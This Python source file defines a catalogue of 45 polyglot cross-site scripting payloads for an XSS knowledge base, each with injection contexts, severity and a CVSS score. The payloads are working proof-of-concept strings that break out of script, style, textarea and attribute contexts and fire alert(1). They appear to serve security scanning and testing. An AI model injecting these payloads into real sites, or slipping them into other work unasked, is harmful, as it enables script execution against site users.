#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Polyglot Core Payloads
"""

from typing import Dict

from ..models import PayloadEntry


POLYGLOT_CORE_PAYLOADS: Dict[str, PayloadEntry] = {
    "polyglot_001": PayloadEntry(
        payload="javascript:/*--></title></style></textarea></script></xmp><iframe/src=javascript:alert(1)>",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_002": PayloadEntry(
        payload="javascript:/*--></title></style></textarea></script></xmp><body/onload=alert(1)>",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_003": PayloadEntry(
        payload="--></script><script>alert(1)</script><!--",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_004": PayloadEntry(
        payload="--></style><script>alert(1)</script><!--",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_005": PayloadEntry(
        payload="--></textarea><script>alert(1)</script><!--",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_006": PayloadEntry(
        payload="--></title><script>alert(1)</script><!--",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_007": PayloadEntry(
        payload="--></xmp><script>alert(1)</script><!--",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_008": PayloadEntry(
        payload="*/</style><script>alert(1)</script>/*",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_009": PayloadEntry(
        payload="*/{background:url(javascript:alert(1))}/*",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_010": PayloadEntry(
        payload="'></script><script>alert(1)</script>",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_011": PayloadEntry(
        payload='"</script><script>alert(1)</script>',
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_012": PayloadEntry(
        payload="`</script><script>alert(1)</script>",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_013": PayloadEntry(
        payload='" onmouseover="alert(1)" autofocus="',
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_014": PayloadEntry(
        payload="' onmouseover='alert(1)' autofocus='",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_015": PayloadEntry(
        payload='" onfocus="alert(1)" autofocus onclick="alert(1)" "',
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_016": PayloadEntry(
        payload="' onfocus='alert(1)' autofocus onclick='alert(1)' '",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_017": PayloadEntry(
        payload="javascript:alert(1)//\\",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_018": PayloadEntry(
        payload="javascript:alert(1)/*",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_019": PayloadEntry(
        payload="javascript:alert(1);void(0)",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_020": PayloadEntry(
        payload="javascript:alert(1)&amp;",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_021": PayloadEntry(
        payload="javascript:void(alert(1))",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_022": PayloadEntry(
        payload="javascript:throw(alert(1))",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_023": PayloadEntry(
        payload="tcl:alert(1)",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_024": PayloadEntry(
        payload="data:text/html,<iframe src=javascript:alert(1)>",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_025": PayloadEntry(
        payload="javascript:/**/alert(1)",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_026": PayloadEntry(
        payload="javascript://alert(1)",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_027": PayloadEntry(
        payload="javascript:void%20alert(1)",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_028": PayloadEntry(
        payload="&lt;scr\\x69pt&gt;alert(1)&lt;/scr\\x69pt&gt;",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_029": PayloadEntry(
        payload="<IMG SRC=x ONERROR=alert(1)>",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_030": PayloadEntry(
        payload="<SVG ONLOAD=alert(1)>",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_031": PayloadEntry(
        payload="<ScRiPt>ALeRt(1)</ScRiPt>",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_032": PayloadEntry(
        payload="<img src=x onerror=/**/alert(1)>",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_033": PayloadEntry(
        payload="<iframe/src=javascript:alert(1)>",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_034": PayloadEntry(
        payload="></script><script>alert(1)</script>",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_035": PayloadEntry(
        payload="\\x22;alert(1);//",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_036": PayloadEntry(
        payload="jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_037": PayloadEntry(
        payload="/**/alert(1)/**/;/**/\\n/**/\\r/**/\\t/**/\\f/**/\\v/**/\\0",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_038": PayloadEntry(
        payload='"><svg/onload=/**/alert(1)//>',
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_039": PayloadEntry(
        payload="';/*!*/alert(/*!*/1/*!*/)/*!*/;//",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_040": PayloadEntry(
        payload="`);alert(1);//",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_041": PayloadEntry(
        payload="${7*7}{{7*7}}<%=7*7%>${{7*7}}#{7*7}",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_042": PayloadEntry(
        payload='[class^="alert(1)"]',
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_043": PayloadEntry(
        payload="javascript:/*--></title></style></textarea></script></xmp><svg/onload=alert(/XSS/)>",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_044": PayloadEntry(
        payload="data:text/html,<script>alert(1)</script><!--",
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
    "polyglot_045": PayloadEntry(
        payload='"},alert(1),{"',
        contexts=["html_content", "js_string", "html_attribute"],
        severity="medium",
        cvss_score=5.5,
        description="Polyglot payload",
        tags=["polyglot", "universal"],
        waf_evasion=False,
    ),
}
